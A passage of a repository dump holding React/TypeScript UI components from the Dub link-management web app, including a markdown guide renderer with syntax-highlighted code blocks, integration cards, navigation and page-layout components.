\"gtm-track-sale\",\n    title: \"Google Tag Manager\",\n    icon: GoogleTagManager,\n    url: \"https://dub.co/docs/conversions/sales/google-tag-manager\",\n  },\n  {\n    type: \"track-sale\",\n    key: \"manual-track-sale\",\n    title: \"Custom Integration\",\n    description: \"Manual Sale Tracking\",\n    icon: CodeEditor,\n    url: \"https://dub.co/docs/conversions/sales/introduction\",\n  },\n];\n"
  },
  {
    "path": "apps/web/ui/guides/markdown.tsx",
    "content": "import { Check, Copy, useCopyToClipboard } from \"@dub/ui\";\nimport { cn } from \"@dub/utils\";\nimport { useEffect, useState } from \"react\";\nimport ReactMarkdown from \"react-markdown\";\nimport \"react-medium-image-zoom/dist/styles.css\";\nimport remarkGfm from \"remark-gfm\";\nimport { codeToHtml } from \"shiki\";\nimport { toast } from \"sonner\";\nimport { ZoomImage } from \"../shared/zoom-image\";\n\nexport function GuidesMarkdown({\n  children,\n  className,\n  components,\n}: {\n  children: string;\n  className?: string;\n  components?: any;\n}) {\n  // Remove HTML comments from markdown before rendering\n  const filteredMarkdown = children.replace(/<!--[\\s\\S]*?-->/g, \"\");\n\n  return (\n    <ReactMarkdown\n      className={cn(\n        \"prose prose-sm prose-neutral max-w-none transition-all\",\n        \"prose-headings:font-semibold prose-headings:text-gray-900 prose-headings:border-b prose-headings:border-gray-200 prose-headings:pb-2\",\n        \"prose-h1:text-2xl prose-h1:font-bold prose-h1:mt-8 prose-h1:mb-4\",\n        \"prose-h2:text-xl prose-h2:font-semibold prose-h2:mt-6 prose-h2:mb-3\",\n        \"prose-h3:text-lg prose-h3:font-semibold prose-h3:mt-4 prose-h3:mb-2\",\n        \"prose-h4:text-base prose-h4:font-semibold prose-h4:mt-3 prose-h4:mb-1\",\n        \"prose-p:text-gray-700 prose-p:leading-6 prose-p:mb-4\",\n        \"prose-a:text-neutral-600 prose-a:font-medium prose-a:underline prose-a:cursor-help prose-a:decoration-dotted prose-a:underline-offset-2 hover:prose-a:text-neutral-700\",\n        \"prose-strong:text-gray-900 prose-strong:font-semibold\",\n        \"prose-em:text-gray-700 prose-em:italic\",\n        \"prose-code:text-gray-800 prose-code:py-0.5 prose-code:rounded prose-code:text-xs prose-code:font-mono\",\n        \"prose-pre:bg-gray-50 prose-pre:border prose-pre:border-gray-200 prose-pre:rounded-lg prose-pre:pr-9 prose-pre:pl-3 prose-pre:py-3 prose-pre:overflow-x-auto\",\n        \"prose-pre:code:bg-transparent prose-pre:code:p-0 prose-pre:code:text-sm\",\n        \"prose-blockquote:border-l-4 prose-blockquote:border-gray-300 prose-blockquote:pl-4 prose-blockquote:italic prose-blockquote:text-gray-600\",\n        \"prose-ul:list-disc prose-ul:pl-6 prose-ul:text-gray-700\",\n        \"prose-ol:list-decimal prose-ol:pl-6 prose-ol:text-gray-700\",\n        \"prose-li:mb-1\",\n        \"prose-hr:border-gray-200 prose-hr:my-8\",\n        \"prose-table:border-collapse prose-table:w-full\",\n        \"prose-th:border prose-th:border-gray-300 prose-th:bg-gray-50 prose-th:px-3 prose-th:py-2 prose-th:text-left prose-th:font-semibold prose-th:text-gray-900\",\n        \"prose-td:border prose-td:border-gray-300 prose-td:px-3 prose-td:py-2 prose-td:text-gray-700\",\n        \"prose-img:rounded-lg prose-img:border prose-img:border-gray-200\",\n        \"[&_code_.line]:before:hidden\",\n        className,\n      )}\n      components={{\n        a: ({ node, ...props }) => (\n          <a {...props} target=\"_blank\" rel=\"noopener noreferrer\" />\n        ),\n        img: ({ node, ...props }) => <ZoomImage {...props} />,\n        pre: (props) => <CodeBlock {...props} />,\n        ...components,\n      }}\n      remarkPlugins={[remarkGfm] as any}\n    >\n      {filteredMarkdown}\n    </ReactMarkdown>\n  );\n}\n\nfunction CodeBlock({ node, children, ...rest }: any) {\n  const codeElement = node?.children?.[0] as any;\n  const code = codeElement?.children?.[0]?.value;\n  const lang = /language-(\\w+)/.exec(\n    codeElement?.properties?.className?.[0] || \"\",\n  )?.[1];\n  const [copied, copyToClipboard] = useCopyToClipboard();\n\n  const [highlighted, setHighlighted] = useState(\"\");\n\n  useEffect(() => {\n    codeToHtml(code?.trimEnd() || \"\", {\n      lang: lang || \"plaintext\",\n      theme: \"min-light\",\n    }).then((html) => setHighlighted(html));\n  }, [code, lang]);\n\n  return code ? (\n    <div className=\"relative\">\n      <button\n        type=\"button\"\n        onClick={async () => {\n          try {\n            await copyToClipboard(code);\n            toast.success(\"Copied to clipboard\");\n          } catch (error) {\n            console.error(\"Failed to copy: \", error);\n            toast.error(\"Failed to copy code\");\n          }\n        }}\n        className=\"border-border-subtle text-content-default absolute right-2 top-2 flex size-7 items-center justify-center rounded-lg border bg-white transition-transform duration-100 active:scale-95\"\n      >\n        {copied ? (\n          <Check className=\"size-3.5\" />\n        ) : (\n          <Copy className=\"size-3.5\" />\n        )}\n      </button>\n      {highlighted ? (\n        <div {...rest} dangerouslySetInnerHTML={{ __html: highlighted }} />\n      ) : (\n        <pre {...rest}>{children}</pre>\n      )}\n    </div>\n  ) : (\n    <pre {...rest}>{children}</pre>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/integrations/integration-card.tsx",
    "content": "\"use client\";\n\nimport useIntegrations from \"@/lib/swr/use-integrations\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { InstalledIntegrationProps } from \"@/lib/types\";\nimport { DubCraftedShield, Tooltip } from \"@dub/ui\";\nimport { DUB_WORKSPACE_ID } from \"@dub/utils\";\nimport { cn } from \"@dub/utils/src\";\nimport { ArrowUpRight } from \"lucide-react\";\nimport Link from \"next/link\";\nimport { HTMLProps, PropsWithChildren } from \"react\";\nimport { IntegrationLogo } from \"./integration-logo\";\n\nexport default function IntegrationCard(\n  integration: InstalledIntegrationProps,\n) {\n  const { integrations: activeIntegrations } = useIntegrations();\n\n  const installed = activeIntegrations?.some((i) => i.id === integration.id);\n\n  const dubCrafted = integration.projectId === DUB_WORKSPACE_ID;\n\n  return (\n    <Wrapper integration={integration}>\n      {installed ? (\n        <Badge className=\"bg-green-100 text-green-800\">Enabled</Badge>\n      ) : integration.comingSoon ? (\n        <Badge className=\"bg-violet-100 text-violet-800\">Coming Soon</Badge>\n      ) : integration.guideUrl ? (\n        <Badge className=\"bg-blue-100 text-blue-800\">\n          <span>Guide</span>\n          <div className=\"flex w-0 justify-end overflow-hidden opacity-0 transition-[width,opacity] group-hover:w-3 group-hover:opacity-100\">\n            <ArrowUpRight className=\"size-2.5\" strokeWidth={2.5} />\n          </div>\n        </Badge>\n      ) : undefined}\n      <IntegrationLogo src={integration.logo ?? null} alt={integration.name} />\n      <h3 className=\"mt-4 flex items-center gap-1.5 text-sm font-semibold text-neutral-800\">\n        {integration.name}\n        {dubCrafted && (\n          <Tooltip content=\"This is an official integration built and maintained by Dub\">\n            <div>\n              <DubCraftedShield className=\"size-4 -translate-y-px\" />\n            </div>\n          </Tooltip>\n        )}\n      </h3>\n      <p className=\"mt-2 line-clamp-3 text-sm text-neutral-600\">\n        {integration.description}\n      </p>\n    </Wrapper>\n  );\n}\n\nfunction Wrapper({\n  integration,\n  children,\n}: PropsWithChildren<{\n  integration: InstalledIntegrationProps;\n}>) {\n  const { slug } = useWorkspace();\n\n  const className = cn(\n    \"group relative rounded-lg border border-neutral-200 bg-white p-4 transition-[filter]\",\n    integration.comingSoon ? \"cursor-default\" : \"hover:drop-shadow-card-hover\",\n  );\n\n  return integration.comingSoon ? (\n    <div className={className}>{children}</div>\n  ) : (\n    <Link\n      href={\n        integration.guideUrl ||\n        `/${slug}/settings/integrations/${integration.slug}`\n      }\n      target={integration.guideUrl ? \"_blank\" : undefined}\n      className={className}\n    >\n      {children}\n    </Link>\n  );\n}\n\nfunction Badge({ className, ...rest }: HTMLProps<HTMLDivElement>) {\n  return (\n    <div\n      className={cn(\n        \"absolute right-4 top-4 flex items-center rounded px-2 py-1 text-[0.625rem] font-semibold uppercase leading-none\",\n        className,\n      )}\n      {...rest}\n    />\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/integrations/integration-logo.tsx",
    "content": "import { BlurImage } from \"@dub/ui\";\nimport { cn } from \"@dub/utils\";\nimport { memo } from \"react\";\n\nexport const IntegrationLogo = memo(\n  ({\n    src,\n    alt,\n    className,\n  }: {\n    src: string | null;\n    alt: string;\n    className?: string;\n  }) => (\n    <div className={cn(\"relative size-8 shrink-0 rounded-md\", className)}>\n      {src ? (\n        <>\n          <BlurImage\n            src={src}\n            alt={alt}\n            className=\"relative size-full rounded-[inherit]\"\n            width={32}\n            height={32}\n          />\n          <div className=\"pointer-events-none absolute inset-0 size-full rounded-[inherit] border border-black/[0.075]\" />\n        </>\n      ) : (\n        <div className=\"relative size-full rounded-[inherit]\" />\n      )}\n    </div>\n  ),\n);\n"
  },
  {
    "path": "apps/web/ui/layout/auth-layout.tsx",
    "content": "import { ClientOnly } from \"@dub/ui\";\nimport { cn } from \"@dub/utils\";\nimport { PropsWithChildren, Suspense } from \"react\";\n\nexport const AuthLayout = ({\n  showTerms,\n  className,\n  children,\n}: PropsWithChildren<{\n  showTerms?: \"app\" | \"partners\";\n  className?: string;\n}>) => {\n  return (\n    <div\n      className={cn(\n        \"flex min-h-[100dvh] w-full flex-col items-center justify-between\",\n        className,\n      )}\n    >\n      {/* Empty div to help center main content */}\n      <div className=\"grow basis-0\">\n        <div className=\"h-24\" />\n      </div>\n\n      <ClientOnly className=\"relative flex w-full flex-col items-center justify-center px-4\">\n        <Suspense>{children}</Suspense>\n      </ClientOnly>\n\n      <div className=\"flex grow basis-0 flex-col justify-end\">\n        {showTerms && (\n          <p className=\"px-20 py-8 text-center text-xs font-medium text-neutral-500 md:px-0\">\n            By continuing, you agree to Dub&rsquo;s{\" \"}\n            <a\n              href={`https://dub.co/legal/${showTerms === \"app\" ? \"terms\" : \"partners\"}`}\n              target=\"_blank\"\n              className=\"font-semibold text-neutral-600 hover:text-neutral-800\"\n            >\n              {showTerms === \"app\" ? \"Terms of Service\" : \"Partner Terms\"}\n            </a>{\" \"}\n            and{\" \"}\n            <a\n              href=\"https://dub.co/legal/privacy\"\n              target=\"_blank\"\n              className=\"font-semibold text-neutral-600 hover:text-neutral-800\"\n            >\n              Privacy Policy\n            </a>\n          </p>\n        )}\n      </div>\n    </div>\n  );\n};\n"
  },
  {
    "path": "apps/web/ui/layout/changelog-popup.tsx",
    "content": "\"use client\";\n\nimport { BlurImage, Popup, PopupContext } from \"@dub/ui\";\nimport { X } from \"lucide-react\";\nimport { motion } from \"motion/react\";\nimport Link from \"next/link\";\nimport { useContext } from \"react\";\n\nconst CHANGELOG_URL = \"https://dub.link/builder\";\nconst CHANGELOG_IMAGE_URL = \"https://assets.dub.co/blog/new-link-builder.jpg\";\nconst CHANGELOG_TITLE = \"Introducing the new Dub Link Builder\";\nconst CHANGELOG_DESCRIPTION =\n  \"Today, we're launching our new Link Builder to help you manage your links better.\";\nconst CHANGELOG_ID = \"hideChangelogPopup10032024\";\n\nexport default function ChangelogPopup() {\n  return (\n    <Popup hiddenCookieId={CHANGELOG_ID}>\n      <ChangelogPopupInner />\n    </Popup>\n  );\n}\n\nexport function ChangelogPopupInner() {\n  const { hidePopup } = useContext(PopupContext);\n\n  return (\n    <motion.div\n      initial={{ opacity: 0, translateY: 50 }}\n      animate={{\n        opacity: 1,\n        translateY: 0,\n      }}\n      exit={{ opacity: 0, y: \"100%\" }}\n      className=\"group fixed bottom-4 z-40 mx-2 overflow-hidden rounded-lg border border-neutral-200 bg-white shadow-md sm:left-4 sm:mx-auto sm:max-w-sm\"\n    >\n      <button\n        className=\"absolute right-2.5 top-2.5 z-10 rounded-full p-1 transition-colors hover:bg-neutral-100 active:scale-90\"\n        onClick={hidePopup}\n      >\n        <X className=\"h-4 w-4 text-neutral-500\" />\n      </button>\n      <Link\n        href={CHANGELOG_URL}\n        target=\"_blank\"\n        className=\"flex max-w-sm flex-col items-center justify-center\"\n        onClick={() => hidePopup()}\n      >\n        <div className=\"border-b border-neutral-200\">\n          <BlurImage\n            src={CHANGELOG_IMAGE_URL}\n            alt=\"Root Domain Links\"\n            className=\"aspect-[1200/630] object-cover\"\n            width={1200}\n            height={630}\n          />\n        </div>\n        <div className=\"grid max-w-sm gap-1.5 p-4 text-center\">\n          <p className=\"text-center font-semibold text-neutral-800 underline-offset-4 group-hover:underline\">\n            {CHANGELOG_TITLE}\n          </p>\n          <p className=\"text-pretty text-sm text-neutral-500\">\n            {CHANGELOG_DESCRIPTION}\n          </p>\n        </div>\n      </Link>\n    </motion.div>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/layout/layout-loader.tsx",
    "content": "import { LoadingSpinner } from \"@dub/ui\";\n\nexport default function LayoutLoader() {\n  return (\n    <div className=\"flex h-[calc(100vh-16px)] items-center justify-center\">\n      <LoadingSpinner />\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/layout/main-nav.tsx",
    "content": "\"use client\";\n\nimport { useMediaQuery } from \"@dub/ui\";\nimport { cn } from \"@dub/utils\";\nimport { usePathname } from \"next/navigation\";\nimport {\n  ComponentType,\n  createContext,\n  Dispatch,\n  PropsWithChildren,\n  ReactNode,\n  SetStateAction,\n  useEffect,\n  useState,\n} from \"react\";\nimport { useUpgradeBannerVisible } from \"./upgrade-banner\";\n\ntype SideNavContext = {\n  isOpen: boolean;\n  setIsOpen: Dispatch<SetStateAction<boolean>>;\n};\n\nexport const SideNavContext = createContext<SideNavContext>({\n  isOpen: false,\n  setIsOpen: () => {},\n});\n\nexport function MainNav({\n  children,\n  sidebar: Sidebar,\n  toolContent,\n  newsContent,\n}: PropsWithChildren<{\n  sidebar: ComponentType<{\n    toolContent?: ReactNode;\n    newsContent?: ReactNode;\n  }>;\n  toolContent?: ReactNode;\n  newsContent?: ReactNode;\n}>) {\n  const pathname = usePathname();\n\n  const { isMobile } = useMediaQuery();\n  const [isOpen, setIsOpen] = useState(false);\n  const isUpgradeBannerVisible = useUpgradeBannerVisible();\n\n  // Prevent body scroll when side nav is open\n  useEffect(() => {\n    document.body.style.overflow = isOpen && isMobile ? \"hidden\" : \"auto\";\n  }, [isOpen, isMobile]);\n\n  // Close side nav when pathname changes\n  useEffect(() => {\n    setIsOpen(false);\n  }, [pathname]);\n\n  return (\n    <div className=\"min-h-screen md:grid md:grid-cols-[min-content_minmax(0,1fr)]\">\n      {/* Side nav backdrop */}\n      <div\n        className={cn(\n          \"fixed left-0 z-50 w-screen transition-[background-color,backdrop-filter] md:sticky md:z-auto md:w-full md:bg-transparent\",\n          isOpen\n            ? \"bg-black/20 backdrop-blur-sm\"\n            : \"bg-transparent max-md:pointer-events-none\",\n          isUpgradeBannerVisible\n            ? \"top-12 h-[calc(100dvh-48px)]\"\n            : \"top-0 h-dvh\",\n        )}\n        onClick={(e) => {\n          if (e.target === e.currentTarget) {\n            e.stopPropagation();\n            setIsOpen(false);\n          }\n        }}\n      >\n        {/* Side nav */}\n        <div\n          className={cn(\n            \"relative h-full w-min max-w-full bg-neutral-200 transition-transform md:translate-x-0\",\n            !isOpen && \"-translate-x-full\",\n          )}\n        >\n          <Sidebar toolContent={toolContent} newsContent={newsContent} />\n        </div>\n      </div>\n      <div\n        className={cn(\n          \"bg-neutral-200 pb-[var(--page-bottom-margin)] pt-[var(--page-top-margin)] [--page-bottom-margin:0px] [--page-top-margin:0px] md:pb-2 md:pr-2 md:[--page-bottom-margin:0.5rem] md:[--page-top-margin:0.5rem]\",\n          isUpgradeBannerVisible ? \"mt-12 h-[calc(100vh-48px)]\" : \"h-screen\",\n        )}\n      >\n        <div className=\"relative h-full overflow-y-auto bg-neutral-100 pt-px md:rounded-xl md:bg-white\">\n          <SideNavContext.Provider value={{ isOpen, setIsOpen }}>\n            {children}\n          </SideNavContext.Provider>\n        </div>\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/layout/page-content/index.tsx",
    "content": "import { cn } from \"@dub/utils\";\nimport { PropsWithChildren } from \"react\";\nimport {\n  PageContentHeader,\n  PageContentHeaderProps,\n} from \"./page-content-header\";\n\nexport * from \"./page-content-old\";\n\nexport function PageContent({\n  className,\n  contentWrapperClassName,\n  children,\n  ...headerProps\n}: PropsWithChildren<\n  {\n    className?: string;\n    contentWrapperClassName?: string;\n  } & PageContentHeaderProps\n>) {\n  return (\n    <div\n      className={cn(\n        \"flex min-h-full flex-col rounded-t-[inherit] bg-neutral-100 md:bg-white\",\n        className,\n      )}\n    >\n      <PageContentHeader {...headerProps} />\n      <div\n        className={cn(\n          \"flex-1 rounded-t-[inherit] bg-white pt-3 lg:pt-6\",\n          contentWrapperClassName,\n        )}\n      >\n        {children}\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/layout/page-content/nav-button.tsx",
    "content": "\"use client\";\n\nimport { Button, LayoutSidebar } from \"@dub/ui\";\nimport { useContext } from \"react\";\nimport { SideNavContext } from \"../main-nav\";\n\nexport function NavButton() {\n  const { setIsOpen } = useContext(SideNavContext);\n\n  return (\n    <Button\n      type=\"button\"\n      variant=\"outline\"\n      onClick={() => setIsOpen((o) => !o)}\n      icon={<LayoutSidebar className=\"size-4\" />}\n      className=\"h-auto w-fit p-1 md:hidden\"\n    />\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/layout/page-content/page-content-header.tsx",
    "content": "import { InfoTooltip } from \"@dub/ui\";\nimport { cn } from \"@dub/utils\";\nimport { ChevronLeft } from \"lucide-react\";\nimport Link from \"next/link\";\nimport { ReactNode } from \"react\";\nimport { PageWidthWrapper } from \"../page-width-wrapper\";\nimport { NavButton } from \"./nav-button\";\n\nexport type PageContentHeaderProps = {\n  title?: ReactNode;\n  titleInfo?: ReactNode | { title: string; href?: string };\n  titleBackHref?: string;\n  controls?: ReactNode;\n  headerContent?: ReactNode;\n};\n\nexport function PageContentHeader({\n  title,\n  titleInfo,\n  titleBackHref,\n  controls,\n  headerContent,\n}: PageContentHeaderProps) {\n  // Generate titleInfo from object if provided\n  const finalTitleInfo =\n    titleInfo && typeof titleInfo === \"object\" && \"title\" in titleInfo ? (\n      <InfoTooltip\n        content={\n          titleInfo.href\n            ? `${titleInfo.title} [Learn more](${titleInfo.href})`\n            : titleInfo.title\n        }\n      />\n    ) : (\n      titleInfo\n    );\n\n  const hasHeaderContent = !!(title || controls || headerContent);\n\n  return (\n    <div className={cn(\"border-border-subtle\", hasHeaderContent && \"border-b\")}>\n      <PageWidthWrapper>\n        <div\n          className={cn(\n            \"flex h-12 items-center justify-between gap-4\",\n            hasHeaderContent ? \"sm:h-16\" : \"sm:h-0\",\n          )}\n        >\n          <div className=\"flex min-w-0 items-center gap-4\">\n            <NavButton />\n            {title && (\n              <div className=\"flex min-w-0 items-center gap-2\">\n                {titleBackHref && (\n                  <Link\n                    href={titleBackHref}\n                    className=\"rounded-lg p-1.5 text-neutral-500 transition-colors hover:bg-neutral-100 hover:text-neutral-900\"\n                  >\n                    <ChevronLeft className=\"size-5\" />\n                  </Link>\n                )}\n                <h1 className=\"text-content-emphasis min-w-0 text-lg font-semibold leading-7\">\n                  {title}\n                </h1>\n                {finalTitleInfo}\n              </div>\n            )}\n          </div>\n          {controls && (\n            <div className=\"flex items-center gap-2\">{controls}</div>\n          )}\n        </div>\n        {headerContent && <div className=\"pb-3 pt-1\">{headerContent}</div>}\n      </PageWidthWrapper>\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/layout/page-content/page-content-old.tsx",
    "content": "import { MaxWidthWrapper } from \"@dub/ui\";\nimport { cn } from \"@dub/utils\";\nimport { ChevronLeft } from \"lucide-react\";\nimport Link from \"next/link\";\nimport { PropsWithChildren, ReactNode } from \"react\";\nimport { HelpButton } from \"../sidebar/help-button\";\nimport { UserDropdown } from \"../sidebar/user-dropdown\";\nimport { NavButton } from \"./nav-button\";\n\n/**\n * @deprecated Use PageContent instead\n */\nexport function PageContentOld({\n  title,\n  titleBackButtonLink,\n  titleControls,\n  description,\n  showControls,\n  className,\n  contentWrapperClassName,\n  children,\n}: PropsWithChildren<{\n  title?: ReactNode;\n  titleBackButtonLink?: string;\n  titleControls?: ReactNode;\n  description?: ReactNode;\n  showControls?: boolean;\n  className?: string;\n  contentWrapperClassName?: string;\n}>) {\n  const hasTitle = title !== undefined;\n  const hasDescription = description !== undefined;\n\n  return (\n    <div\n      className={cn(\n        \"mt-3 bg-neutral-100 md:bg-white\",\n        (hasTitle || hasDescription) && \"md:mt-6 md:py-3\",\n        className,\n      )}\n    >\n      <MaxWidthWrapper>\n        <div className=\"flex items-center justify-between gap-4\">\n          <div className=\"flex min-w-0 items-center gap-4\">\n            <NavButton />\n            {(hasTitle || hasDescription) && (\n              <div>\n                {hasTitle && (\n                  <div className=\"flex items-center gap-2\">\n                    {titleBackButtonLink && (\n                      <Link\n                        href={titleBackButtonLink}\n                        className=\"rounded-lg p-1.5 text-neutral-500 transition-colors hover:bg-neutral-100 hover:text-neutral-900\"\n                      >\n                        <ChevronLeft className=\"size-5\" />\n                      </Link>\n                    )}\n                    <h1 className=\"text-xl font-semibold leading-7 text-neutral-900 md:text-2xl\">\n                      {title}\n                    </h1>\n                  </div>\n                )}\n                {hasDescription && (\n                  <p className=\"mt-1 hidden text-base text-neutral-500 md:block\">\n                    {description}\n                  </p>\n                )}\n              </div>\n            )}\n          </div>\n          {titleControls && (\n            <div className=\"hidden md:block\">{titleControls}</div>\n          )}\n          {showControls && (\n            <div className=\"flex items-center gap-4 md:hidden\">\n              <HelpButton />\n              <UserDropdown />\n            </div>\n          )}\n        </div>\n      </MaxWidthWrapper>\n      <div\n        className={cn(\n          \"bg-white pt-2.5 max-md:mt-3 max-md:rounded-t-[16px]\",\n          contentWrapperClassName,\n        )}\n      >\n        {hasDescription && (\n          <MaxWidthWrapper>\n            <p className=\"mb-3 mt-1 text-base text-neutral-500 md:hidden\">\n              {description}\n            </p>\n          </MaxWidthWrapper>\n        )}\n        {children}\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/layout/page-content/page-content-with-side-panel.tsx",
    "content": "\"use client\";\n\nimport { X } from \"@/ui/shared/icons\";\nimport { cn } from \"@dub/utils\";\nimport {\n  Dispatch,\n  PropsWithChildren,\n  ReactNode,\n  SetStateAction,\n  createContext,\n  useState,\n} from \"react\";\nimport {\n  PageContentHeader,\n  PageContentHeaderProps,\n} from \"./page-content-header\";\nimport { ToggleSidePanelButton } from \"./toggle-side-panel-button\";\n\nexport const PageContentWithSidePanelContext = createContext<{\n  isSidePanelOpen: boolean;\n  setIsSidePanelOpen: Dispatch<SetStateAction<boolean>>;\n}>({\n  isSidePanelOpen: false,\n  setIsSidePanelOpen: () => {},\n});\n\nexport function PageContentWithSidePanel({\n  className,\n  contentWrapperClassName,\n  sidePanel,\n  children,\n  controls,\n  individualScrolling,\n  ...headerProps\n}: PropsWithChildren<\n  {\n    className?: string;\n    contentWrapperClassName?: string;\n    sidePanel?: {\n      title: ReactNode;\n      content: ReactNode;\n      controls?: ReactNode;\n      defaultOpen?: boolean;\n    };\n    individualScrolling?: boolean;\n  } & PageContentHeaderProps\n>) {\n  const [isSidePanelOpen, setIsSidePanelOpen] = useState(\n    sidePanel?.defaultOpen ?? false,\n  );\n\n  return (\n    <PageContentWithSidePanelContext.Provider\n      value={{ isSidePanelOpen, setIsSidePanelOpen }}\n    >\n      <div\n        className={cn(\n          \"@container/page-content relative grid min-h-[var(--page-height)] grid-cols-[minmax(340px,1fr)_minmax(0,min-content)] rounded-t-[inherit] bg-neutral-100 [--page-height:calc(100dvh-var(--page-top-margin)-var(--page-bottom-margin)-1px)] md:bg-white\",\n          individualScrolling && \"h-[var(--page-height)]\",\n          className,\n        )}\n      >\n        <div className=\"flex min-h-0 flex-col\">\n          <PageContentHeader\n            {...headerProps}\n            controls={\n              <>\n                {controls}\n                {sidePanel && (\n                  <ToggleSidePanelButton\n                    isOpen={isSidePanelOpen}\n                    onClick={() => setIsSidePanelOpen((o) => !o)}\n                  />\n                )}\n              </>\n            }\n          />\n          <div\n            className={cn(\n              \"grow rounded-t-[inherit] bg-white pt-3 lg:pt-6\",\n              individualScrolling && \"scrollbar-hide min-h-0 overflow-y-auto\",\n              contentWrapperClassName,\n            )}\n          >\n            {children}\n          </div>\n        </div>\n\n        {/* Right side panel - Profile */}\n        {sidePanel && (\n          <div\n            className={cn(\n              \"absolute right-0 top-0 h-full min-h-0 w-0 overflow-hidden bg-white shadow-lg transition-[width]\",\n              \"@[960px]/page-content:shadow-none @[960px]/page-content:relative\",\n              isSidePanelOpen &&\n                \"@[960px]/page-content:z-auto z-10 w-full sm:w-[340px]\",\n            )}\n          >\n            <div className=\"border-border-subtle flex size-full min-h-0 w-full flex-col border-l sm:w-[340px]\">\n              <div className=\"border-border-subtle box-content flex h-12 shrink-0 items-center justify-between gap-4 border-b px-4 sm:h-16 sm:px-6\">\n                <h2 className=\"text-content-emphasis text-lg font-semibold leading-7\">\n                  {sidePanel.title}\n                </h2>\n                <div className=\"flex items-center gap-2\">\n                  {sidePanel.controls}\n                  <button\n                    type=\"button\"\n                    onClick={() => setIsSidePanelOpen(false)}\n                    className=\"@[960px]/page-content:hidden rounded-lg p-2 text-neutral-500 transition-colors hover:bg-neutral-100 hover:text-neutral-900\"\n                  >\n                    <X className=\"size-4\" />\n                  </button>\n                </div>\n              </div>\n              <div className=\"bg-bg-muted scrollbar-hide flex grow flex-col gap-4 overflow-y-scroll p-6\">\n                {sidePanel.content}\n              </div>\n            </div>\n          </div>\n        )}\n      </div>\n    </PageContentWithSidePanelContext.Provider>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/layout/page-content/toggle-side-panel-button.tsx",
    "content": "import { Button } from \"@dub/ui\";\nimport { cn } from \"@dub/utils\";\n\nexport function ToggleSidePanelButton({\n  side = \"right\",\n  isOpen,\n  onClick,\n}: {\n  side?: \"left\" | \"right\";\n  isOpen: boolean;\n  onClick: () => void;\n}) {\n  return (\n    <Button\n      onClick={onClick}\n      variant=\"secondary\"\n      className=\"size-9 shrink-0 rounded-lg p-0\"\n      icon={\n        <svg\n          viewBox=\"0 0 18 18\"\n          xmlns=\"http://www.w3.org/2000/svg\"\n          className={cn(\"size-4\", side === \"left\" && \"rotate-180\")}\n        >\n          <g fill=\"currentColor\">\n            <line\n              fill=\"none\"\n              stroke=\"currentColor\"\n              strokeLinecap=\"round\"\n              strokeLinejoin=\"round\"\n              strokeWidth=\"1.5\"\n              x1=\"11.75\"\n              x2=\"11.75\"\n              y1=\"2.75\"\n              y2=\"15.25\"\n            />\n            <polyline\n              fill=\"none\"\n              points=\"5.75 6.5 8.25 9 5.75 11.5\"\n              stroke=\"currentColor\"\n              strokeLinecap=\"round\"\n              strokeLinejoin=\"round\"\n              strokeWidth=\"1.5\"\n              className={cn(\n                \"transition-transform [transform-box:fill-box] [transform-origin:center] [vector-effect:non-scaling-stroke]\",\n                !isOpen && \"-scale-x-100\",\n              )}\n            />\n            <rect\n              height=\"12.5\"\n              width=\"14.5\"\n              fill=\"none\"\n              rx=\"2\"\n              ry=\"2\"\n              stroke=\"currentColor\"\n              strokeLinecap=\"round\"\n              strokeLinejoin=\"round\"\n              strokeWidth=\"1.5\"\n              x=\"1.75\"\n              y=\"2.75\"\n            />\n          </g>\n        </svg>\n      }\n    />\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/layout/page-nav-tabs.tsx",
    "content": "\"use client\";\n\nimport { ArrowUpRight2, Icon, useScrollProgress } from \"@dub/ui\";\nimport { cn } from \"@dub/utils\";\nimport { LayoutGroup, motion } from \"motion/react\";\nimport Link from \"next/link\";\nimport { usePathname } from \"next/navigation\";\nimport { useEffect, useId, useRef } from \"react\";\n\nexport type PageNavTabsTab = {\n  id: string;\n  label: string;\n  icon: Icon;\n  badge?: string | number;\n};\n\nexport type PageNavTabsQuicklink = {\n  id: string;\n  label: string;\n  icon: Icon;\n  href: string;\n};\n\nexport type PageNavTabsProps = {\n  basePath: string;\n  tabs: PageNavTabsTab[];\n  quickLinks?: PageNavTabsQuicklink[];\n};\n\nexport function PageNavTabs({ basePath, tabs, quickLinks }: PageNavTabsProps) {\n  const pathname = usePathname();\n\n  const containerRef = useRef<HTMLDivElement>(null);\n  const layoutGroupId = useId();\n\n  useEffect(() => {\n    if (!containerRef.current) return;\n\n    const handleWheel = (event: WheelEvent) => {\n      if (Math.abs(event.deltaX) > Math.abs(event.deltaY)) return;\n      event.preventDefault();\n\n      containerRef.current?.scrollBy({\n        left: event.deltaY,\n        behavior: \"smooth\",\n      });\n    };\n\n    containerRef.current.addEventListener(\"wheel\", handleWheel);\n\n    return () =>\n      containerRef.current?.removeEventListener(\"wheel\", handleWheel);\n  }, []);\n\n  const { scrollProgress, updateScrollProgress } = useScrollProgress(\n    containerRef,\n    { direction: \"horizontal\" },\n  );\n\n  return (\n    <div className=\"relative z-0\">\n      <div\n        ref={containerRef}\n        onScroll={updateScrollProgress}\n        className=\"scrollbar-hide relative z-0 flex items-center justify-between gap-1 overflow-x-auto p-2\"\n      >\n        <LayoutGroup id={`${layoutGroupId}-tabs`}>\n          <motion.div\n            layout\n            className={cn(\"relative z-0 inline-flex items-center gap-1\")}\n          >\n            {tabs.map(({ id, label, icon: Icon, badge }) => {\n              const isSelected = pathname.endsWith(`/${id}`);\n              return (\n                <Link\n                  key={id}\n                  href={`${basePath}/${id}`}\n                  data-selected={isSelected}\n                  className={cn(\n                    \"text-content-emphasis relative z-10 flex items-center gap-2 px-2.5 py-1 text-sm font-medium\",\n                    !isSelected &&\n                      \"hover:text-content-subtle z-[11] transition-colors\",\n                    badge && \"pr-1\",\n                  )}\n                >\n                  <Icon className=\"size-4\" />\n                  <span>{label}</span>\n                  {badge && (\n                    <span 